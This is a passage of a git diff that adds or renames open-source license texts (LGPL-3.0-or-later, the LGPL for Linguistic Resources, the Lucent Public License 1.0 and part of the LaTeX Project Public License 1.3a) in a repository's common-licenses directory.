+redistribute and change. You can do so by permitting redistribution under
+these terms (or, alternatively, under the terms of the ordinary General Public
+License).
+
+To apply these terms, attach the following notices to the library. It is safest
+to attach them to the start of each source file to most effectively convey
+the exclusion of warranty; and each file should have at least the "copyright"
+line and a pointer to where the full notice is found.
+
+<one line to give the library's name and an idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This library is free software; you can redistribute it and/or modify it under
+the terms of the GNU Lesser General Public License as published by the Free
+Software Foundation; either version 2.1 of the License, or (at your option)
+any later version.
+
+This library is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
+details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this library; if not, write to the Free Software Foundation, Inc., 51
+Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the library, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in
+
+the library `Frob' (a library for tweaking knobs) written
+
+by James Random Hacker.
+
+< signature of Ty Coon > , 1 April 1990
+
+Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/LGPL-3.0 b/meta/files/common-licenses/LGPL-3.0-only
index 6be29bf206..6be29bf206 100644
--- a/meta/files/common-licenses/LGPL-3.0
+++ b/meta/files/common-licenses/LGPL-3.0-only
diff --git a/meta/files/common-licenses/LGPL-3.0-or-later b/meta/files/common-licenses/LGPL-3.0-or-later
new file mode 100644
index 0000000000..bd405afbef
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-3.0-or-later
@@ -0,0 +1,163 @@
+GNU LESSER GENERAL PUBLIC LICENSE
+
+Version 3, 29 June 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+This version of the GNU Lesser General Public License incorporates the terms
+and conditions of version 3 of the GNU General Public License, supplemented
+by the additional permissions listed below.
+
+ 0. Additional Definitions.
+
+
+
+As used herein, "this License" refers to version 3 of the GNU Lesser General
+Public License, and the "GNU GPL" refers to version 3 of the GNU General Public
+License.
+
+
+
+"The Library" refers to a covered work governed by this License, other than
+an Application or a Combined Work as defined below.
+
+
+
+An "Application" is any work that makes use of an interface provided by the
+Library, but which is not otherwise based on the Library. Defining a subclass
+of a class defined by the Library is deemed a mode of using an interface provided
+by the Library.
+
+
+
+A "Combined Work" is a work produced by combining or linking an Application
+with the Library. The particular version of the Library with which the Combined
+Work was made is also called the "Linked Version".
+
+
+
+The "Minimal Corresponding Source" for a Combined Work means the Corresponding
+Source for the Combined Work, excluding any source code for portions of the
+Combined Work that, considered in isolation, are based on the Application,
+and not on the Linked Version.
+
+
+
+The "Corresponding Application Code" for a Combined Work means the object
+code and/or source code for the Application, including any data and utility
+programs needed for reproducing the Combined Work from the Application, but
+excluding the System Libraries of the Combined Work.
+
+ 1. Exception to Section 3 of the GNU GPL.
+
+You may convey a covered work under sections 3 and 4 of this License without
+being bound by section 3 of the GNU GPL.
+
+ 2. Conveying Modified Versions.
+
+If you modify a copy of the Library, and, in your modifications, a facility
+refers to a function or data to be supplied by an Application that uses the
+facility (other than as an argument passed when the facility is invoked),
+then you may convey a copy of the modified version:
+
+a) under this License, provided that you make a good faith effort to ensure
+that, in the event an Application does not supply the function or data, the
+facility still operates, and performs whatever part of its purpose remains
+meaningful, or
+
+b) under the GNU GPL, with none of the additional permissions of this License
+applicable to that copy.
+
+ 3. Object Code Incorporating Material from Library Header Files.
+
+The object code form of an Application may incorporate material from a header
+file that is part of the Library. You may convey such object code under terms
+of your choice, provided that, if the incorporated material is not limited
+to numerical parameters, data structure layouts and accessors, or small macros,
+inline functions and templates (ten or fewer lines in length), you do both
+of the following:
+
+a) Give prominent notice with each copy of the object code that the Library
+is used in it and that the Library and its use are covered by this License.
+
+b) Accompany the object code with a copy of the GNU GPL and this license document.
+
+ 4. Combined Works.
+
+You may convey a Combined Work under terms of your choice that, taken together,
+effectively do not restrict modification of the portions of the Library contained
+in the Combined Work and reverse engineering for debugging such modifications,
+if you also do each of the following:
+
+a) Give prominent notice with each copy of the Combined Work that the Library
+is used in it and that the Library and its use are covered by this License.
+
+b) Accompany the Combined Work with a copy of the GNU GPL and this license
+document.
+
+c) For a Combined Work that displays copyright notices during execution, include
+the copyright notice for the Library among these notices, as well as a reference
+directing the user to the copies of the GNU GPL and this license document.
+
+ d) Do one of the following:
+
+0) Convey the Minimal Corresponding Source under the terms of this License,
+and the Corresponding Application Code in a form suitable for, and under terms
+that permit, the user to recombine or relink the Application with a modified
+version of the Linked Version to produce a modified Combined Work, in the
+manner specified by section 6 of the GNU GPL for conveying Corresponding Source.
+
+1) Use a suitable shared library mechanism for linking with the Library. A
+suitable mechanism is one that (a) uses at run time a copy of the Library
+already present on the user's computer system, and (b) will operate properly
+with a modified version of the Library that is interface-compatible with the
+Linked Version.
+
+e) Provide Installation Information, but only if you would otherwise be required
+to provide such information under section 6 of the GNU GPL, and only to the
+extent that such information is necessary to install and execute a modified
+version of the Combined Work produced by recombining or relinking the Application
+with a modified version of the Linked Version. (If you use option 4d0, the
+Installation Information must accompany the Minimal Corresponding Source and
+Corresponding Application Code. If you use option 4d1, you must provide the
+Installation Information in the manner specified by section 6 of the GNU GPL
+for conveying Corresponding Source.)
+
+ 5. Combined Libraries.
+
+You may place library facilities that are a work based on the Library side
+by side in a single library together with other library facilities that are
+not Applications and are not covered by this License, and convey such a combined
+library under terms of your choice, if you do both of the following:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities, conveyed under the
+terms of this License.
+
+b) Give prominent notice with the combined library that part of it is a work
+based on the Library, and explaining where to find the accompanying uncombined
+form of the same work.
+
+ 6. Revised Versions of the GNU Lesser General Public License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU Lesser General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library as you
+received it specifies that a certain numbered version of the GNU Lesser General
+Public License "or any later version" applies to it, you have the option of
+following the terms and conditions either of that published version or of
+any later version published by the Free Software Foundation. If the Library
+as you received it does not specify a version number of the GNU Lesser General
+Public License, you may choose any version of the GNU Lesser General Public
+License ever published by the Free Software Foundation.
+
+If the Library as you received it specifies that a proxy can decide whether
+future versions of the GNU Lesser General Public License shall apply, that
+proxy's public statement of acceptance of any version is permanent authorization
+for you to choose that version for the Library.
diff --git a/meta/files/common-licenses/LGPLLR b/meta/files/common-licenses/LGPLLR
new file mode 100644
index 0000000000..73d8040e98
--- /dev/null
+++ b/meta/files/common-licenses/LGPLLR
@@ -0,0 +1,89 @@
+Lesser General Public License For Linguistic Resources
+
+Preamble
+
+The licenses for most data are designed to take away your freedom to share and change it. By contrast, this License is intended to guarantee your freedom to share and change free data--to make sure the data are free for all their users.
+
+This License, the Lesser General Public License for Linguistic Resources, applies to some specially designated linguistic resources -- typically lexicons and grammars.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any Linguistic Resource which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License for Linguistic Resources (also called "this License"). Each licensee is addressed as "you".
+
+A "linguistic resource" means a collection of data about language prepared so as to be used with application programs.
+
+The "Linguistic Resource", below, refers to any such work which has been distributed under these terms. A "work based on the Linguistic Resource" means either the Linguistic Resource or any derivative work under copyright law: that is to say, a work containing the Linguistic Resource or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".)
+
+"Legible form" for a linguistic resource means the preferred form of the resource for making modifications to it.
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Linguistic Resource is not restricted, and output from such a program is covered only if its contents constitute a work based on the Linguistic Resource (independent of the use of the Linguistic Resource in a tool for writing it). Whether that is true depends on what the program that uses the Linguistic Resource does.
+
+1. You may copy and distribute verbatim copies of the Linguistic Resource as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Linguistic Resource.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Linguistic Resource or any portion of it, thus forming a work based on the Linguistic Resource, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) The modified work must itself be a linguistic resource.
+
+ b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change.
+
+ c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Linguistic Resource, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Linguistic Resource, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Linguistic Resource.
+
+In addition, mere aggregation of another work not based on the Linguistic Resource with the Linguistic Resource (or with a work based on the Linguistic Resource) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. A program that contains no derivative of any portion of the Linguistic Resource, but is designed to work with the Linguistic Resource (or an encrypted form of the Linguistic Resource) by reading it or being compiled or linked with it, is called a "work that uses the Linguistic Resource". Such a work, in isolation, is not a derivative work of the Linguistic Resource, and therefore falls outside the scope of this License.
+
+However, combining a "work that uses the Linguistic Resource" with the Linguistic Resource (or an encrypted form of the Linguistic Resource) creates a package that is a derivative of the Linguistic Resource (because it contains portions of the Linguistic Resource), rather than a "work that uses the Linguistic Resource". If the package is a derivative of the Linguistic Resource, you may distribute the package under the terms of Section 4. Any works containing that package also fall under Section 4.
+
+4. As an exception to the Sections above, you may also combine a "work that uses the Linguistic Resource" with the Linguistic Resource (or an encrypted form of the Linguistic Resource) to produce a package containing portions of the Linguistic Resource, and distribute that package under terms of your choice, provided that the terms permit modification of the package for the customer's own use and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the package that the Linguistic Resource is used in it and that the Linguistic Resource and its use are covered by this License. You must supply a copy of this License. If the package during execution displays copyright notices, you must include the copyright notice for the Linguistic Resource among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things:
+
+ a) Accompany the package with the complete corresponding machine-readable legible form of the Linguistic Resource including whatever changes were used in the package (which must be distributed under Sections 1 and 2 above); and, if the package contains an encrypted form of the Linguistic Resource, with the complete machine-readable "work that uses the Linguistic Resource", as object code and/or source code, so that the user can modify the Linguistic Resource and then encrypt it to produce a modified package containing the modified Linguistic Resource.
+
+ b) Use a suitable mechanism for combining with the Linguistic Resource. A suitable mechanism is one that will operate properly with a modified version of the Linguistic Resource, if the user installs one, as long as the modified version is interface-compatible with the version that the package was made with.
+
+ c) Accompany the package with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 4a, above, for a charge no more than the cost of performing this distribution.
+
+ d) If distribution of the package is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place.
+
+ e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy.
+
+If the package includes an encrypted form of the Linguistic Resource, the required form of the "work that uses the Linguistic Resource" must include any data and utility programs needed for reproducing the package from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+It may happen that this requirement contradicts the license restrictions of proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Linguistic Resource together in a package that you distribute.
+
+5. You may not copy, modify, sublicense, link with, or distribute the Linguistic Resource except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Linguistic Resource is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+6. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Linguistic Resource or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Linguistic Resource (or any work based on the Linguistic Resource), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Linguistic Resource or works based on it.
+
+7. Each time you redistribute the Linguistic Resource (or any work based on the Linguistic Resource), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Linguistic Resource subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License.
+
+8. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Linguistic Resource at all. For example, if a patent license would not permit royalty-free redistribution of the Linguistic Resource by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Linguistic Resource.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free resource distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of data distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute resources through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+9. If the distribution and/or use of the Linguistic Resource is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Linguistic Resource under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+10. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License for Linguistic Resources from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Linguistic Resource specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Linguistic Resource does not specify a license version number, you may choose any version ever published by the Free Software Foundation.
+
+11. If you wish to incorporate parts of the Linguistic Resource into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission.
+
+ NO WARRANTY
+
+12. BECAUSE THE LINGUISTIC RESOURCE IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LINGUISTIC RESOURCE, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LINGUISTIC RESOURCE "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LINGUISTIC RESOURCE IS WITH YOU. SHOULD THE LINGUISTIC RESOURCE PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+13. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LINGUISTIC RESOURCE AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LINGUISTIC RESOURCE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LINGUISTIC RESOURCE TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
diff --git a/meta/files/common-licenses/LPL-1.0 b/meta/files/common-licenses/LPL-1.0
new file mode 100644
index 0000000000..8546bc2a2d
--- /dev/null
+++ b/meta/files/common-licenses/LPL-1.0
@@ -0,0 +1,81 @@
+Lucent Public License Version 1.0
+
+THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT.
+
+1. DEFINITIONS
+
+"Contribution" means:
+
+ a. in the case of <ORGANIZATION> ("<OWNER>"), the Original Program, and
+ b. in the case of each Contributor,
+
+ i. changes to the Program, and
+ ii. additions to the Program; where such changes and/or additions to the Program originate from and are "Contributed" by that particular Contributor.
+
+ A Contribution is "Contributed" by a Contributor only (i) if it was added to the Program by such Contributor itself or anyone acting on such Contributor's behalf, and (ii) the Contributor explicitly consents, in accordance with Section 3C, to characterization of the changes and/or additions as Contributions. Contributions do not include additions to the Program which: (i) are separate modules of software distributed in conjunction with the Program under their own license agreement, and (ii) are not derivative works of the Program.
+
+"Contributor" means <OWNER> and any other entity that has Contributed a Contribution to the Program.
+
+"Distributor" means a Recipient that distributes the Program, modifications to the Program, or any part thereof.
+
+"Licensed Patents" mean patent claims licensable by a Contributor which are necessarily infringed by the use or sale of its Contribution alone or when combined with the Program.
+
+"Original Program" means the original version of the software accompanying this Agreement as released by <OWNER>, including source code, object code and documentation, if any.
+
+"Program" means the Original Program and Contributions or any part thereof
+
+"Recipient" means anyone who receives the Program under this Agreement, including all Contributors.
+
+2. GRANT OF RIGHTS
+
+ a. Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, distribute and sublicense the Contribution of such Contributor, if any, and such derivative works, in source code and object code form.
+
+ b. Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free patent license under Licensed Patents to make, use, sell, offer to sell, import and otherwise transfer the Contribution of such Contributor, if any, in source code and object code form. The patent license granted by a Contributor shall also apply to the combination of the Contribution of that Contributor and the Program if, at the time the Contribution is added by the Contributor, such addition of the Contribution causes such combination to be covered by the Licensed Patents. The patent license granted by a Contributor shall not apply to (i) any other combinations which include the Contribution, nor to (ii) Contributions of other Contributors. No hardware per se is licensed hereunder.
+
+ c. Recipient understands that although each Contributor grants the licenses to its Contributions set forth herein, no assurances are provided by any Contributor that the Program does not infringe the patent or other intellectual property rights of any other entity. Each Contributor disclaims any liability to Recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, each Recipient hereby assumes sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow Recipient to distribute the Program, it is Recipient's responsibility to acquire that license before distributing the Program.
+
+ d. Each Contributor represents that to its knowledge it has sufficient copyright rights in its Contribution, if any, to grant the copyright license set forth in this Agreement.
+
+3. REQUIREMENTS
+
+ A. Distributor may choose to distribute the Program in any form under this Agreement or under its own license agreement, provided that:
+
+ 1. it complies with the terms and conditions of this Agreement;
+ 2. if the Program is distributed in source code or other tangible form, a copy of this Agreement or Distributor's own license agreement is included with each copy of the Program; and
+ 3. if distributed under Distributor's own license agreement, such license agreement:
+
+ a. effectively disclaims on behalf of all Contributors all warranties and conditions, express and implied, including warranties or conditions of title and non-infringement, and implied warranties or conditions of merchantability and fitness for a particular purpose;
+ b. effectively excludes on behalf of all Contributors all liability for damages, including direct, indirect, special, incidental and consequential damages, such as lost profits; and
+ c. states that any provisions which differ from this Agreement are offered by that Contributor alone and not by any other party.
+
+ B. Each Distributor must include the following in a conspicuous location in the Program:
+
+ Copyright (C) <YEAR>, <ORGANIZATION> and others. All Rights Reserved.
+
+ C. In addition, each Contributor must identify itself as the originator of its Contribution, if any, and indicate its consent to characterization of its additions and/or changes as a Contribution, in a manner that reasonably allows subsequent Recipients to identify the originator of the Contribution. Once consent is granted, it may not thereafter be revoked.
+
+4. COMMERCIAL DISTRIBUTION
+
+Commercial distributors of software may accept certain responsibilities with respect to end users, business partners and the like. While this license is intended to facilitate the commercial use of the Program, the Distributor who includes the Program in a commercial product offering should do so in a manner which does not create potential liability for Contributors. Therefore, if a Distributor includes the Program in a commercial product offering, such Distributor ("Commercial Distributor") hereby agrees to defend and indemnify every Contributor ("Indemnified Contributor") against any losses, damages and costs (collectively "Losses") arising from claims, lawsuits and other legal actions brought by a third party against the Indemnified Contributor to the extent caused by the acts or omissions of such Commercial Distributor in connection with its distribution of the Program in a commercial product offering. The obligations in this section do not apply to any claims or Losses relating to any actual or alleged intellectual property infringement. In order to qualify, an Indemnified Contributor must: a) promptly notify the Commercial Distributor in writing of such claim, and b) allow the Commercial Distributor to control, and cooperate with the Commercial Distributor in, the defense and any related settlement negotiations. The Indemnified Contributor may participate in any such claim at its own expense.
+
+For example, a Distributor might include the Program in a commercial product offering, Product X. That Distributor is then a Commercial Distributor. If that Commercial Distributor then makes performance claims, or offers warranties related to Product X, those performance claims and warranties are such Commercial Distributor's responsibility alone. Under this section, the Commercial Distributor would have to defend claims against the Contributors related to those performance claims and warranties, and if a court requires any Contributor to pay any damages as a result, the Commercial Distributor must pay those damages.
+
+5. NO WARRANTY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely responsible for determining the appropriateness of using and distributing the Program and assumes all risks associated with its exercise of rights under this Agreement, including but not limited to the risks and costs of program errors, compliance with applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations.
+
+6. DISCLAIMER OF LIABILITY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. GENERAL
+
+If any provision of this Agreement is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Agreement, and without further action by the parties hereto, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+If Recipient institutes patent litigation against a Contributor with respect to a patent applicable to software (including a cross-claim or counterclaim in a lawsuit), then any patent licenses granted by that Contributor to such Recipient under this Agreement shall terminate as of the date such litigation is filed. In addition, if Recipient institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Program itself (excluding combinations of the Program with other software or hardware) infringes such Recipient's patent(s), then such Recipient's rights granted under Section 2(b) shall terminate as of the date such litigation is filed.
+
+All Recipient's rights under this Agreement shall terminate if it fails to comply with any of the material terms or conditions of this Agreement and does not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If all Recipient's rights under this Agreement terminate, Recipient agrees to cease use and distribution of the Program as soon as reasonably practicable. However, Recipient's obligations under this Agreement and any licenses granted by Recipient relating to the Program shall continue and survive.
+
+<OWNER> may publish new versions (including revisions) of this Agreement from time to time. Each new version of the Agreement will be given a distinguishing version number. The Program (including Contributions) may always be distributed subject to the version of the Agreement under which it was received. In addition, after a new version of the Agreement is published, Contributor may elect to distribute the Program (including its Contributions) under the new version. No one other than <OWNER> has the right to modify this Agreement. Except as expressly stated in Sections 2(a) and 2(b) above, Recipient receives no rights or licenses to the intellectual property of any Contributor under this Agreement, whether expressly, by implication, estoppel or otherwise. All rights in the Program not expressly granted under this Agreement are reserved.
+
+This Agreement is governed by the laws of the State of <STATE> and the intellectual property laws of the United States of America. No party to this Agreement will bring a legal action under this Agreement more than one year after the cause of action arose. Each party waives its rights to a jury trial in any resulting litigation.
diff --git a/meta/files/common-licenses/LPPL-1.3a b/meta/files/common-licenses/LPPL-1.3a
new file mode 100644
index 0000000000..b159f90fdf
--- /dev/null
+++ b/meta/files/common-licenses/LPPL-1.3a
@@ -0,0 +1,175 @@
+The LaTeX Project Public License
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+LPPL Version 1.3a 2004-10-01
+
+Copyright 1999 2002-04 LaTeX3
+Project Everyone is allowed to distribute verbatim copies of this license document, but modification of it is not allowed.
+
+PREAMBLE
+========
+
+The LaTeX Project Public License (LPPL) is the primary license under which the the LaTeX kernel and the base LaTeX packages are distributed.
+
+You may use this license for any work of which you hold the copyright and which you wish to distribute. This license may be particularly suitable if your work is TeX-related (such as a LaTeX package), but you may use it with small modifications even if your work is unrelated to TeX.
+
+The section `WHETHER AND HOW TO DISTRIBUTE WORKS UNDER THIS LICENSE', below, gives instructions, examples, and recommendations for authors who are considering distributing their works under this license.
+
+This license gives conditions under which a work may be distributed and modified, as well as conditions under which modified versions of that work may be distributed.
+
+We, the LaTeX3 Project, believe that the conditions below give you the freedom to make and distribute modified versions of your work that conform with whatever technical specifications you wish while maintaining the availability, integrity, and reliability of that work. If you do not see how to achieve your goal while meeting these conditions, then read the document `cfgguide.tex' and `modguide.tex' in the base LaTeX distribution for suggestions.
+
+DEFINITIONS
+===========
+
+In this license document the following terms are used:
+
+`Work' Any work being distributed under this License. `Derived Work' Any work that under any applicable law is derived from the Work.
+
+`Modification' Any procedure that produces a Derived Work under any applicable law -- for example, the production of a file containing an original file associated with the Work or a significant portion of such a file, either verbatim or with modifications and/or translated into another language.
+
+`Modify' To apply any procedure that produces a Derived Work under any applicable law. `Distribution' Making copies of the Work available from one person to another, in whole or in part. Distribution includes (but is not limited to) making any electronic components of the Work accessible by file transfer protocols such as FTP or HTTP or by shared file systems such as Sun's Network File System (NFS).
+
+`Compiled Work' A version of the Work that has been processed into a form where it is directly usable on a computer system. This processing may include using installation facilities provided by the Work, transformations of the Work, copying of components of the Work, or other activities. Note that modification of any installation facilities provided by the Work constitutes modification of the Work.
+
+`Current Maintainer' A person or persons nominated as such within the Work. If there is no such explicit nomination then it is the `Copyright Holder' under any applicable law.
+
+`Base Interpreter' A program or process that is normally needed for running or interpreting a part or the whole of the Work. A Base Interpreter may depend on external components but these are not considered part of the Base Interpreter provided that each external component clearly identifies itself whenever it is used interactively. Unless explicitly specified when applying the license to the Work, the only applicable Base Interpreter is a "LaTeX-Format".
+
+CONDITIONS ON DISTRIBUTION AND MODIFICATION
+===========================================
+
+1. Activities other than distribution and/or modification of the Work are not covered by this license; they are outside its scope. In particular, the act of running the Work is not restricted and no requirements are made concerning any offers of support for the Work.
+
+2. You may distribute a complete, unmodified copy of the Work as you received it. Distribution of only part of the Work is considered modification of the Work, and no right to distribute such a Derived Work may be assumed under the terms of this clause.
+
+3. You may distribute a Compiled Work that has been generated from a complete, unmodified copy of the Work as distributed under Clause 2 above, as long as that Compiled Work is distributed in such a way that the recipients may install the Compiled Work on their system exactly as it would have been installed if they generated a Compiled Work directly from the Work.
+
+4. If you are the Current Maintainer of the Work, you may, without restriction, modify the Work, thus creating a Derived Work. You may also distribute the Derived Work without restriction, including Compiled Works generated from the Derived Work. Derived Works distributed in this manner by the Current Maintainer are considered to be updated versions of the Work.
+
+5. If you are not the Current Maintainer of the Work, you may modify your copy of the Work, thus creating a Derived Work based on the Work, and compile this Derived Work, thus creating a Compiled Work based on the Derived Work.
+
+6. If you are not the Current Maintainer of the Work, you may distribute a Derived Work provided the following conditions are met for every component of the Work unless that component clearly states in the copyright notice that it is exempt from that condition. Only the Current Maintainer is allowed to add such statements of exemption to a component of the Work.
+
+ a. If a component of this Derived Work can be a direct replacement for a component of the Work when that component is used with the Base Interpreter, then, wherever this component of the Work identifies itself to the user when used interactively with that Base Interpreter, the replacement component of this Derived Work clearly and unambiguously identifies itself as a modified version of this component to the user when used interactively with that Base Interpreter.
+
+ b. Every component of the Derived Work contains prominent notices detailing the nature of the changes to that component, or a prominent reference to another file that is distributed as part of the Derived Work and that contains a complete and accurate log of the changes.
+
+ c. No information in the Derived Work implies that any persons, including (but not limited to) the authors of the original version of the Work, provide any support, including (but not limited to) the reporting and handling of errors, to recipients of the Derived Work unless those persons have stated explicitly that they do provide such support for the Derived Work.
+
+ d. You distribute at least one of the following with the Derived Work:
+
+ 1. A complete, unmodified copy of the Work; if your distribution of a modified component is made by offering access to copy the modified component from a designated place, then offering equivalent access to copy the Work from the same or some similar place meets this condition, even though third parties are not compelled to copy the Work along with the modified component;
+
+ 2. Information that is sufficient to obtain a complete, unmodified copy of the Work.
+
